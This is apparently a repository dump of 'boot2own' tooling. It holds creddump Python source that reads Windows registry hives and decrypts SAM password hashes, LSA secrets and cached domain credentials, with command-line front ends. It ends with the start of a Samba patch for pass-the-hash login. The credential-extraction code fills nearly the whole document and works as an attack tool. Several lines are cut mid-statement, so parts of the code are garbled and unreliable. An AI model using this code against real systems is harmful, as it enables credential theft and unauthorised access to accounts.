bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | from framework.object import * 23 | from framework.types import regtypes as types 24 | from operator import itemgetter 25 | from struct import unpack 26 | 27 | def get_ptr_type(structure, member): 28 | """Return the type a pointer points to. 29 | 30 | Arguments: 31 | structure : the name of the structure from vtypes 32 | member : a list of members 33 | 34 | Example: 35 | get_ptr_type('_EPROCESS', ['ActiveProcessLinks', 'Flink']) => ['_LIST_ENTRY'] 36 | """ 37 | if len(member) > 1: 38 | _, tp = get_obj_offset(types, [structure, member[0]]) 39 | if tp == 'array': 40 | return types[structure][1][member[0]][1][2][1] 41 | else: 42 | return get_ptr_type(tp, member[1:]) 43 | else: 44 | return types[structure][1][member[0]][1][1] 45 | 46 | class Obj(object): 47 | """Base class for all objects. 48 | 49 | May return a subclass for certain data types to allow 50 | for special handling. 51 | """ 52 | 53 | def __new__(typ, name, address, space): 54 | if name in globals(): 55 | # This is a bit of "magic" 56 | # Could be replaced with a dict mapping type names to types 57 | return globals()[name](name,address,space) 58 | elif name in builtin_types: 59 | return Primitive(name, address, space) 60 | else: 61 | obj = object.__new__(typ) 62 | return obj 63 | 64 | def __init__(self, name, address, space): 65 | self.name = name 66 | self.address = address 67 | self.space = space 68 | 69 | # Subclasses can add fields to this list if they want them 70 | # to show up in values() or members(), even if they do not 71 | # appear in the vtype definition 72 | self.extra_members = [] 73 | 74 | def __getattribute__(self, attr): 75 | try: 76 | return object.__getattribute__(self, attr) 77 | except AttributeError: 78 | pass 79 | 80 | if self.name in builtin_types: 81 | raise AttributeError("Primitive types have no dynamic attributes") 82 | 83 | try: 84 | off, tp = get_obj_offset(types, [self.name, attr]) 85 | except: 86 | raise AttributeError("'%s' has no attribute '%s'" % (self.name, attr)) 87 | 88 | if tp == 'array': 89 | a_len = types[self.name][1][attr][1][1] 90 | l = [] 91 | for i in range(a_len): 92 | a_off, a_tp = get_obj_offset(types, [self.name, attr, i]) 93 | if a_tp == 'pointer': 94 | ptp = get_ptr_type(self.name, [attr, i]) 95 | l.append(Pointer(a_tp, self.address+a_off, self.space, ptp)) 96 | else: 97 | l.append(Obj(a_tp, self.address+a_off, self.space)) 98 | return l 99 | elif tp == 'pointer': 100 | # Can't just return a Obj here, since pointers need to also 101 | # know what type they point to. 102 | ptp = get_ptr_type(self.name, [attr]) 103 | return Pointer(tp, self.address+off, self.space, ptp) 104 | else: 105 | return Obj(tp, self.address+off, self.space) 106 | 107 | def __div__(self, other): 108 | if isinstance(other,tuple) or isinstance(other,list): 109 | return Pointer(other[0], self.address, self.space, other[1]) 110 | elif isinstance(other,str): 111 | return Obj(other, self.address, self.space) 112 | else: 113 | raise ValueError("Must provide a type name as string for casting") 114 | 115 | def members(self): 116 | """Return a list of this object's members, sorted by offset.""" 117 | 118 | # Could also just return the list 119 | membs = [ (k, v[0]) for k,v in types[self.name][1].items()] 120 | membs.sort(key=itemgetter(1)) 121 | return map(itemgetter(0),membs) + self.extra_members 122 | 123 | def values(self): 124 | """Return a dictionary of this object's members and their values""" 125 | 126 | valdict = {} 127 | for k in self.members(): 128 | valdict[k] = getattr(self, k) 129 | return valdict 130 | 131 | def bytes(self, length=-1): 132 | """Get bytes starting at the address of this object. 133 | 134 | Arguments: 135 | length : the number of bytes to read. Default: size of 136 | this object. 137 | """ 138 | 139 | if length == -1: 140 | length = self.size() 141 | return self.space.read(self.address, length) 142 | 143 | def size(self): 144 | """Get the size of this object.""" 145 | 146 | if self.name in builtin_types: 147 | return builtin_types[self.name][0] 148 | else: 149 | return types[self.name][0] 150 | 151 | def __repr__(self): 152 | return "<%s @%08x>" % (self.name, self.address) 153 | 154 | def __eq__(self, other): 155 | if not isinstance(other, Obj): 156 | raise TypeError("Types are incomparable") 157 | return self.address == other.address and self.name == other.name 158 | 159 | def __ne__(self, other): 160 | return not self.__eq__(other) 161 | 162 | def __hash__(self): 163 | return hash(self.address) ^ hash(self.name) 164 | 165 | def is_valid(self): 166 | return self.space.is_valid_address(self.address) 167 | 168 | def get_offset(self, member): 169 | return get_obj_offset(types, [self.name] + member) 170 | 171 | class Primitive(Obj): 172 | """Class to represent a primitive data type. 173 | 174 | Attributes: 175 | value : the python primitive value of this type 176 | """ 177 | 178 | def __new__(typ, *args, **kwargs): 179 | obj = object.__new__(typ) 180 | return obj 181 | 182 | def __init__(self, name, address, space): 183 | super(Primitive,self).__init__(name, address, space) 184 | length, fmt = builtin_types[name] 185 | data = space.read(address,length) 186 | if not data: self.value = None 187 | else: self.value = unpack(fmt,data)[0] 188 | 189 | def __repr__(self): 190 | return repr(self.value) 191 | 192 | def members(self): 193 | return [] 194 | 195 | class Pointer(Obj): 196 | """Class to represent pointers. 197 | 198 | value : the object pointed to 199 | 200 | If an attribute is not found in this instance, 201 | the attribute will be looked up in the referenced 202 | object.""" 203 | 204 | def __new__(typ, *args, **kwargs): 205 | obj = object.__new__(typ) 206 | return obj 207 | 208 | def __init__(self, name, address, space, ptr_type): 209 | super(Pointer,self).__init__(name, address, space) 210 | ptr_address = read_value(space, name, address) 211 | if ptr_type[0] == 'pointer': 212 | self.value = Pointer(ptr_type[0], ptr_address, self.space, ptr_type[1]) 213 | else: 214 | self.value = Obj(ptr_type[0], ptr_address, self.space) 215 | 216 | def __getattribute__(self, attr): 217 | # It's still nice to be able to access things through pointers 218 | # without having to explicitly dereference them, so if we don't 219 | # find an attribute via our superclass, just dereference the pointer 220 | # and return the attribute in the pointed-to type. 221 | try: 222 | return super(Pointer,self).__getattribute__(attr) 223 | except AttributeError: 224 | return getattr(self.value, attr) 225 | 226 | def __repr__(self): 227 | return "" % (self.value.name, self.value.address) 228 | 229 | def members(self): 230 | return self.value.members() 231 | 232 | class _UNICODE_STRING(Obj): 233 | """Class representing a _UNICODE_STRING 234 | 235 | Adds the following behavior: 236 | * The Buffer attribute is presented as a Python string rather 237 | than a pointer to an unsigned short. 238 | * The __str__ method returns the value of the Buffer. 239 | """ 240 | 241 | def __new__(typ, *args, **kwargs): 242 | obj = object.__new__(typ) 243 | return obj 244 | 245 | def __str__(self): 246 | return self.Buffer 247 | 248 | # Custom Attributes 249 | def getBuffer(self): 250 | return read_unicode_string(self.space, types, [], self.address) 251 | Buffer = property(fget=getBuffer) 252 | 253 | class _CM_KEY_NODE(Obj): 254 | def __new__(typ, *args, **kwargs): 255 | obj = object.__new__(typ) 256 | return obj 257 | 258 | def getName(self): 259 | return read_string(self.space, types, ['_CM_KEY_NODE', 'Name'], 260 | self.address, self.NameLength.value) 261 | Name = property(fget=getName) 262 | 263 | class _CM_KEY_VALUE(Obj): 264 | def __new__(typ, *args, **kwargs): 265 | obj = object.__new__(typ) 266 | return obj 267 | 268 | def getName(self): 269 | return read_string(self.space, types, ['_CM_KEY_VALUE', 'Name'], 270 | self.address, self.NameLength.value) 271 | Name = property(fget=getName) 272 | 273 | class _CHILD_LIST(Obj): 274 | def __new__(typ, *args, **kwargs): 275 | obj = object.__new__(typ) 276 | return obj 277 | 278 | def getList(self): 279 | lst = [] 280 | list_address = read_obj(self.space, types, 281 | ['_CHILD_LIST', 'List'], self.address) 282 | for i in range(self.Count.value): 283 | lst.append(Pointer("pointer", list_address+(i*4), self.space, 284 | ["_CM_KEY_VALUE"])) 285 | return lst 286 | List = property(fget=getList) 287 | 288 | class _CM_KEY_INDEX(Obj): 289 | def __new__(typ, *args, **kwargs): 290 | obj = object.__new__(typ) 291 | return obj 292 | 293 | def getList(self): 294 | lst = [] 295 | for i in range(self.Count.value): 296 | # we are ignoring the hash value here 297 | off,tp = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i*2]) 298 | lst.append(Pointer("pointer", self.address+off, self.space, 299 | ["_CM_KEY_NODE"])) 300 | return lst 301 | List = property(fget=getList) 302 | -------------------------------------------------------------------------------- /boot2own/live-files/boot-2-own/creddump/framework/newobj.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xor-function/fathomless/5bcbb48862f69fec1abd6b34705798fa81892da2/boot2own/live-files/boot-2-own/creddump/framework/newobj.pyc -------------------------------------------------------------------------------- /boot2own/live-files/boot-2-own/creddump/framework/object.py: -------------------------------------------------------------------------------- 1 | # Volatools Basic 2 | # Copyright (C) 2007 Komoku, Inc. 3 | # 4 | # This program is free software; you can redistribute it and/or modify 5 | # it under the terms of the GNU General Public License as published by 6 | # the Free Software Foundation; either version 2 of the License, or (at 7 | # your option) any later version. 8 | # 9 | # This program is distributed in the hope that it will be useful, but 10 | # WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 12 | # General Public License for more details. 13 | # 14 | # You should have received a copy of the GNU General Public License 15 | # along with this program; if not, write to the Free Software 16 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 17 | # 18 | 19 | """ 20 | @author: AAron Walters and Nick Petroni 21 | @license: GNU General Public License 2.0 or later 22 | @contact: awalters@komoku.com, npetroni@komoku.com 23 | @organization: Komoku, Inc. 24 | """ 25 | 26 | import struct 27 | 28 | builtin_types = { \ 29 | 'int' : (4, 'i'), \ 30 | 'long': (4, 'i'), \ 31 | 'unsigned long' : (4, 'I'), \ 32 | 'unsigned int' : (4, 'I'), \ 33 | 'address' : (4, 'I'), \ 34 | 'char' : (1, 'c'), \ 35 | 'unsigned char' : (1, 'B'), \ 36 | 'unsigned short' : (2, 'H'), \ 37 | 'short' : (2, 'h'), \ 38 | 'long long' : (8, 'q'), \ 39 | 'unsigned long long' : (8, 'Q'), \ 40 | 'pointer' : (4, 'I'),\ 41 | } 42 | 43 | 44 | def obj_size(types, objname): 45 | if not types.has_key(objname): 46 | raise Exception('Invalid type %s not in types' % (objname)) 47 | 48 | return types[objname][0] 49 | 50 | def builtin_size(builtin): 51 | if not builtin_types.has_key(builtin): 52 | raise Exception('Invalid built-in type %s' % (builtin)) 53 | 54 | return builtin_types[builtin][0] 55 | 56 | def read_value(addr_space, value_type, vaddr): 57 | """ 58 | Read the low-level value for a built-in type. 59 | """ 60 | 61 | if not builtin_types.has_key(value_type): 62 | raise Exception('Invalid built-in type %s' % (value_type)) 63 | 64 | type_unpack_char = builtin_types[value_type][1] 65 | type_size = builtin_types[value_type][0] 66 | 67 | buf = addr_space.read(vaddr, type_size) 68 | if buf is None: 69 | return None 70 | (val, ) = struct.unpack(type_unpack_char, buf) 71 | 72 | return val 73 | 74 | def read_unicode_string(addr_space, types, member_list, vaddr): 75 | offset = 0 76 | if len(member_list) > 1: 77 | (offset, current_type) = get_obj_offset(types, member_list) 78 | 79 | 80 | buf = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset) 81 | length = read_obj(addr_space, types, ['_UNICODE_STRING', 'Length'], vaddr + offset) 82 | 83 | if length == 0x0: 84 | return "" 85 | 86 | if buf is None or length is None: 87 | return None 88 | 89 | readBuf = read_string(addr_space, types, ['char'], buf, length) 90 | 91 | if readBuf is None: 92 | return None 93 | 94 | try: 95 | readBuf = readBuf.decode('UTF-16').encode('ascii') 96 | except: 97 | return None 98 | 99 | return readBuf 100 | 101 | def read_string(addr_space, types, member_list, vaddr, max_length=256): 102 | offset = 0 103 | if len(member_list) > 1: 104 | (offset, current_type) = get_obj_offset(types, member_list) 105 | 106 | val = addr_space.read(vaddr + offset, max_length) 107 | 108 | return val 109 | 110 | 111 | def read_null_string(addr_space, types, member_list, vaddr, max_length=256): 112 | string = read_string(addr_space, types, member_list, vaddr, max_length) 113 | 114 | if string is None: 115 | return None 116 | 117 | if (string.find('\0') == -1): 118 | return string 119 | (string, none) = string.split('\0', 1) 120 | return string 121 | 122 | 123 | def get_obj_offset(types, member_list): 124 | """ 125 | Returns the (offset, type) pair for a given list 126 | """ 127 | member_list.reverse() 128 | 129 | current_type = member_list.pop() 130 | 131 | offset = 0 132 | 133 | while (len(member_list) > 0): 134 | if current_type == 'array': 135 | current_type = member_dict[current_member][1][2][0] 136 | if current_type in builtin_types: 137 | current_type_size = builtin_size(current_type) 138 | else: 139 | current_type_size = obj_size(types, current_type) 140 | index = member_list.pop() 141 | offset += index * current_type_size 142 | continue 143 | 144 | elif not types.has_key(current_type): 145 | raise Exception('Invalid type ' + current_type) 146 | 147 | member_dict = types[current_type][1] 148 | 149 | current_member = member_list.pop() 150 | if not member_dict.has_key(current_member): 151 | raise Exception('Invalid member %s in type %s' % (current_member, current_type)) 152 | 153 | offset += member_dict[current_member][0] 154 | 155 | current_type = member_dict[current_member][1][0] 156 | 157 | return (offset, current_type) 158 | 159 | 160 | def read_obj(addr_space, types, member_list, vaddr): 161 | """ 162 | Read the low-level value for some complex type's member. 163 | The type must have members. 164 | """ 165 | if len(member_list) < 2: 166 | raise Exception('Invalid type/member ' + str(member_list)) 167 | 168 | 169 | 170 | (offset, current_type) = get_obj_offset(types, member_list) 171 | return read_value(addr_space, current_type, vaddr + offset) 172 | -------------------------------------------------------------------------------- /boot2own/live-files/boot-2-own/creddump/framework/object.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xor-function/fathomless/5bcbb48862f69fec1abd6b34705798fa81892da2/boot2own/live-files/boot-2-own/creddump/framework/object.pyc -------------------------------------------------------------------------------- /boot2own/live-files/boot-2-own/creddump/framework/types.py: -------------------------------------------------------------------------------- 1 | # This file is part of creddump. 2 | # 3 | # creddump is free software: you can redistribute it and/or modify 4 | # it under the terms of the GNU General Public License as published by 5 | # the Free Software Foundation, either version 3 of the License, or 6 | # (at your option) any later version. 7 | # 8 | # creddump is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with creddump. If not, see . 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | regtypes = { 23 | '_CM_KEY_VALUE' : [ 0x18, { 24 | 'Signature' : [ 0x0, ['unsigned short']], 25 | 'NameLength' : [ 0x2, ['unsigned short']], 26 | 'DataLength' : [ 0x4, ['unsigned long']], 27 | 'Data' : [ 0x8, ['unsigned long']], 28 | 'Type' : [ 0xc, ['unsigned long']], 29 | 'Flags' : [ 0x10, ['unsigned short']], 30 | 'Spare' : [ 0x12, ['unsigned short']], 31 | 'Name' : [ 0x14, ['array', 1, ['unsigned short']]], 32 | } ], 33 | '_CM_KEY_NODE' : [ 0x50, { 34 | 'Signature' : [ 0x0, ['unsigned short']], 35 | 'Flags' : [ 0x2, ['unsigned short']], 36 | 'LastWriteTime' : [ 0x4, ['_LARGE_INTEGER']], 37 | 'Spare' : [ 0xc, ['unsigned long']], 38 | 'Parent' : [ 0x10, ['unsigned long']], 39 | 'SubKeyCounts' : [ 0x14, ['array', 2, ['unsigned long']]], 40 | 'SubKeyLists' : [ 0x1c, ['array', 2, ['unsigned long']]], 41 | 'ValueList' : [ 0x24, ['_CHILD_LIST']], 42 | 'ChildHiveReference' : [ 0x1c, ['_CM_KEY_REFERENCE']], 43 | 'Security' : [ 0x2c, ['unsigned long']], 44 | 'Class' : [ 0x30, ['unsigned long']], 45 | 'MaxNameLen' : [ 0x34, ['unsigned long']], 46 | 'MaxClassLen' : [ 0x38, ['unsigned long']], 47 | 'MaxValueNameLen' : [ 0x3c, ['unsigned long']], 48 | 'MaxValueDataLen' : [ 0x40, ['unsigned long']], 49 | 'WorkVar' : [ 0x44, ['unsigned long']], 50 | 'NameLength' : [ 0x48, ['unsigned short']], 51 | 'ClassLength' : [ 0x4a, ['unsigned short']], 52 | 'Name' : [ 0x4c, ['array', 1, ['unsigned short']]], 53 | } ], 54 | '_CM_KEY_INDEX' : [ 0x8, { 55 | 'Signature' : [ 0x0, ['unsigned short']], 56 | 'Count' : [ 0x2, ['unsigned short']], 57 | 'List' : [ 0x4, ['array', 1, ['unsigned long']]], 58 | } ], 59 | '_CHILD_LIST' : [ 0x8, { 60 | 'Count' : [ 0x0, ['unsigned long']], 61 | 'List' : [ 0x4, ['unsigned long']], 62 | } ], 63 | } 64 | -------------------------------------------------------------------------------- /boot2own/live-files/boot-2-own/creddump/framework/types.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xor-function/fathomless/5bcbb48862f69fec1abd6b34705798fa81892da2/boot2own/live-files/boot-2-own/creddump/framework/types.pyc -------------------------------------------------------------------------------- /boot2own/live-files/boot-2-own/creddump/framework/win32/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xor-function/fathomless/5bcbb48862f69fec1abd6b34705798fa81892da2/boot2own/live-files/boot-2-own/creddump/framework/win32/__init__.py -------------------------------------------------------------------------------- /boot2own/live-files/boot-2-own/creddump/framework/win32/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xor-function/fathomless/5bcbb48862f69fec1abd6b34705798fa81892da2/boot2own/live-files/boot-2-own/creddump/framework/win32/__init__.pyc -------------------------------------------------------------------------------- /boot2own/live-files/boot-2-own/creddump/framework/win32/domcachedump.py: -------------------------------------------------------------------------------- 1 | # This file is part of creddump. 2 | # 3 | # creddump is free software: you can redistribute it and/or modify 4 | # it under the terms of the GNU General Public License as published by 5 | # the Free Software Foundation, either version 3 of the License, or 6 | # (at your option) any later version. 7 | # 8 | # creddump is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with creddump. If not, see . 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | from framework.win32.rawreg import * 23 | from framework.addrspace import HiveFileAddressSpace 24 | from framework.win32.hashdump import get_bootkey 25 | from framework.win32.lsasecrets import get_secret_by_name,get_lsa_key 26 | from Crypto.Hash import HMAC 27 | from Crypto.Cipher import ARC4 28 | from struct import unpack 29 | 30 | def get_nlkm(secaddr, lsakey): 31 | return get_secret_by_name(secaddr, 'NL$KM', lsakey) 32 | 33 | def decrypt_hash(edata, nlkm, ch): 34 | hmac_md5 = HMAC.new(nlkm,ch) 35 | rc4key = hmac_md5.digest() 36 | 37 | rc4 = ARC4.new(rc4key) 38 | data = rc4.encrypt(edata) 39 | return data 40 | 41 | def parse_cache_entry(cache_data): 42 | (uname_len, domain_len) = unpack(". 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | from framework.win32.rawreg import * 23 | from framework.addrspace import HiveFileAddressSpace 24 | from Crypto.Hash import MD5 25 | from Crypto.Cipher import ARC4,DES 26 | from struct import unpack,pack 27 | 28 | odd_parity = [ 29 | 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 30 | 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 31 | 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 32 | 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, 33 | 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, 34 | 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, 35 | 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, 36 | 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, 37 | 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, 38 | 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, 39 | 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, 40 | 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, 41 | 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, 42 | 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, 43 | 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, 44 | 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 45 | ] 46 | 47 | # Permutation matrix for boot key 48 | p = [ 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 49 | 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 ] 50 | 51 | # Constants for SAM decrypt algorithm 52 | aqwerty = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" 53 | anum = "0123456789012345678901234567890123456789\0" 54 | antpassword = "NTPASSWORD\0" 55 | almpassword = "LMPASSWORD\0" 56 | 57 | empty_lm = "aad3b435b51404eeaad3b435b51404ee".decode('hex') 58 | empty_nt = "31d6cfe0d16ae931b73c59d7e0c089c0".decode('hex') 59 | 60 | def str_to_key(s): 61 | key = [] 62 | key.append( ord(s[0])>>1 ) 63 | key.append( ((ord(s[0])&0x01)<<6) | (ord(s[1])>>2) ) 64 | key.append( ((ord(s[1])&0x03)<<5) | (ord(s[2])>>3) ) 65 | key.append( ((ord(s[2])&0x07)<<4) | (ord(s[3])>>4) ) 66 | key.append( ((ord(s[3])&0x0F)<<3) | (ord(s[4])>>5) ) 67 | key.append( ((ord(s[4])&0x1F)<<2) | (ord(s[5])>>6) ) 68 | key.append( ((ord(s[5])&0x3F)<<1) | (ord(s[6])>>7) ) 69 | key.append( ord(s[6])&0x7F ) 70 | for i in range(8): 71 | key[i] = (key[i]<<1) 72 | key[i] = odd_parity[key[i]] 73 | return "".join(chr(k) for k in key) 74 | 75 | def sid_to_key(sid): 76 | s1 = "" 77 | s1 += chr(sid & 0xFF) 78 | s1 += chr((sid>>8) & 0xFF) 79 | s1 += chr((sid>>16) & 0xFF) 80 | s1 += chr((sid>>24) & 0xFF) 81 | s1 += s1[0]; 82 | s1 += s1[1]; 83 | s1 += s1[2]; 84 | s2 = s1[3] + s1[0] + s1[1] + s1[2] 85 | s2 += s2[0] + s2[1] + s2[2] 86 | 87 | return str_to_key(s1),str_to_key(s2) 88 | 89 | def find_control_set(sysaddr): 90 | root = get_root(sysaddr) 91 | if not root: 92 | return 1 93 | 94 | csselect = open_key(root, ["Select"]) 95 | if not csselect: 96 | return 1 97 | 98 | for v in values(csselect): 99 | if v.Name == "Current": return v.Data.value 100 | 101 | def get_bootkey(sysaddr): 102 | cs = find_control_set(sysaddr) 103 | lsa_base = ["ControlSet%03d" % cs, "Control", "Lsa"] 104 | lsa_keys = ["JD","Skew1","GBG","Data"] 105 | 106 | root = get_root(sysaddr) 107 | if not root: return None 108 | 109 | lsa = open_key(root, lsa_base) 110 | if not lsa: return None 111 | 112 | bootkey = "" 113 | 114 | for lk in lsa_keys: 115 | key = open_key(lsa, [lk]) 116 | class_data = sysaddr.read(key.Class.value, key.ClassLength.value) 117 | bootkey += class_data.decode('utf-16-le').decode('hex') 118 | 119 | bootkey_scrambled = "" 120 | for i in range(len(bootkey)): 121 | bootkey_scrambled += bootkey[p[i]] 122 | 123 | return bootkey_scrambled 124 | 125 | def get_hbootkey(samaddr, bootkey): 126 | sam_account_path = ["SAM", "Domains", "Account"] 127 | 128 | root = get_root(samaddr) 129 | if not root: return None 130 | 131 | sam_account_key = open_key(root, sam_account_path) 132 | if not sam_account_key: return None 133 | 134 | F = None 135 | for v in values(sam_account_key): 136 | if v.Name == 'F': 137 | F = samaddr.read(v.Data.value, v.DataLength.value) 138 | if not F: return None 139 | 140 | md5 = MD5.new() 141 | md5.update(F[0x70:0x80] + aqwerty + bootkey + anum) 142 | rc4_key = md5.digest() 143 | 144 | rc4 = ARC4.new(rc4_key) 145 | hbootkey = rc4.encrypt(F[0x80:0xA0]) 146 | 147 | return hbootkey 148 | 149 | def get_user_keys(samaddr): 150 | user_key_path = ["SAM", "Domains", "Account", "Users"] 151 | 152 | root = get_root(samaddr) 153 | if not root: return [] 154 | 155 | user_key = open_key(root, user_key_path) 156 | if not user_key: return [] 157 | 158 | return [k for k in subkeys(user_key) if k.Name != "Names"] 159 | 160 | def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr): 161 | (des_k1,des_k2) = sid_to_key(rid) 162 | d1 = DES.new(des_k1, DES.MODE_ECB) 163 | d2 = DES.new(des_k2, DES.MODE_ECB) 164 | 165 | md5 = MD5.new() 166 | md5.update(hbootkey[:0x10] + pack(". 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | from framework.win32.rawreg import * 23 | from framework.addrspace import HiveFileAddressSpace 24 | from framework.win32.hashdump import get_bootkey,str_to_key 25 | from Crypto.Hash import MD5 26 | from Crypto.Cipher import ARC4,DES 27 | 28 | def get_lsa_key(secaddr, bootkey): 29 | root = get_root(secaddr) 30 | if not root: 31 | return None 32 | 33 | enc_reg_key = open_key(root, ["Policy", "PolSecretEncryptionKey"]) 34 | if not enc_reg_key: 35 | return None 36 | 37 | enc_reg_value = enc_reg_key.ValueList.List[0] 38 | if not enc_reg_value: 39 | return None 40 | 41 | obf_lsa_key = secaddr.read(enc_reg_value.Data.value, 42 | enc_reg_value.DataLength.value) 43 | if not obf_lsa_key: 44 | return None 45 | 46 | md5 = MD5.new() 47 | md5.update(bootkey) 48 | for i in range(1000): 49 | md5.update(obf_lsa_key[60:76]) 50 | rc4key = md5.digest() 51 | 52 | rc4 = ARC4.new(rc4key) 53 | lsa_key = rc4.decrypt(obf_lsa_key[12:60]) 54 | 55 | return lsa_key[0x10:0x20] 56 | 57 | def decrypt_secret(secret, key): 58 | """Python implementation of SystemFunction005. 59 | 60 | Decrypts a block of data with DES using given key. 61 | Note that key can be longer than 7 bytes.""" 62 | decrypted_data = '' 63 | j = 0 # key index 64 | for i in range(0,len(secret),8): 65 | enc_block = secret[i:i+8] 66 | block_key = key[j:j+7] 67 | des_key = str_to_key(block_key) 68 | 69 | des = DES.new(des_key, DES.MODE_ECB) 70 | decrypted_data += des.decrypt(enc_block) 71 | 72 | j += 7 73 | if len(key[j:j+7]) < 7: 74 | j = len(key[j:j+7]) 75 | 76 | (dec_data_len,) = unpack(". 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | from framework.newobj import Obj,Pointer 23 | from struct import unpack 24 | 25 | ROOT_INDEX = 0x20 26 | LH_SIG = unpack(". 17 | 18 | """ 19 | @author: Brendan Dolan-Gavitt 20 | @license: GNU General Public License 2.0 or later 21 | @contact: bdolangavitt@wesleyan.edu 22 | """ 23 | 24 | import sys 25 | from framework.win32.lsasecrets import get_file_secrets 26 | 27 | # Hex dump code from 28 | # http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812 29 | 30 | FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)]) 31 | 32 | def dump(src, length=8): 33 | N=0; result='' 34 | while src: 35 | s,src = src[:length],src[length:] 36 | hexa = ' '.join(["%02X"%ord(x) for x in s]) 37 | s = s.translate(FILTER) 38 | result += "%04X %-*s %s\n" % (N, length*3, hexa, s) 39 | N+=length 40 | return result 41 | 42 | if len(sys.argv) < 3: 43 | print "usage: %s " % sys.argv[0] 44 | sys.exit(1) 45 | 46 | secrets = get_file_secrets(sys.argv[1], sys.argv[2]) 47 | if not secrets: 48 | print "Unable to read LSA secrets. Perhaps you provided invalid hive files?" 49 | sys.exit(1) 50 | 51 | for k in secrets: 52 | print k 53 | print dump(secrets[k], length=16) 54 | -------------------------------------------------------------------------------- /boot2own/live-files/boot-2-own/creddump/pwdump.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # This file is part of creddump. 4 | # 5 | # creddump is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # creddump is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with creddump. If not, see . 17 | 18 | """ 19 | @author: Brendan Dolan-Gavitt 20 | @license: GNU General Public License 2.0 or later 21 | @contact: bdolangavitt@wesleyan.edu 22 | """ 23 | 24 | import sys 25 | from framework.win32.hashdump import dump_file_hashes 26 | 27 | if len(sys.argv) < 3: 28 | print "usage: %s " % sys.argv[0] 29 | sys.exit(1) 30 | 31 | dump_file_hashes(sys.argv[1], sys.argv[2]) 32 | -------------------------------------------------------------------------------- /boot2own/srcs/samba-4.0.4.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xor-function/fathomless/5bcbb48862f69fec1abd6b34705798fa81892da2/boot2own/srcs/samba-4.0.4.tar.gz -------------------------------------------------------------------------------- /boot2own/srcs/samba-hashpass.patch: -------------------------------------------------------------------------------- 1 | --- samba-clean/libcli/auth/smbencrypt.c 2011-12-12 18:36:11.000000000 -0500 2 | +++ samba/libcli/auth/smbencrypt.c 2012-07-07 23:37:26.069268333 -0400 3 | @@ -45,6 +45,9 @@ void SMBencrypt_hash(const uint8_t lm_ha 4 | #endif 5 | } 6 | 7 | +#define SMB_HASH_LM 1 8 | +#define SMB_HASH_NTLM 2 9 | + 10 | /* 11 | This implements the X/Open SMB password encryption 12 | It takes a password ('unix' string), a 8 byte "crypt 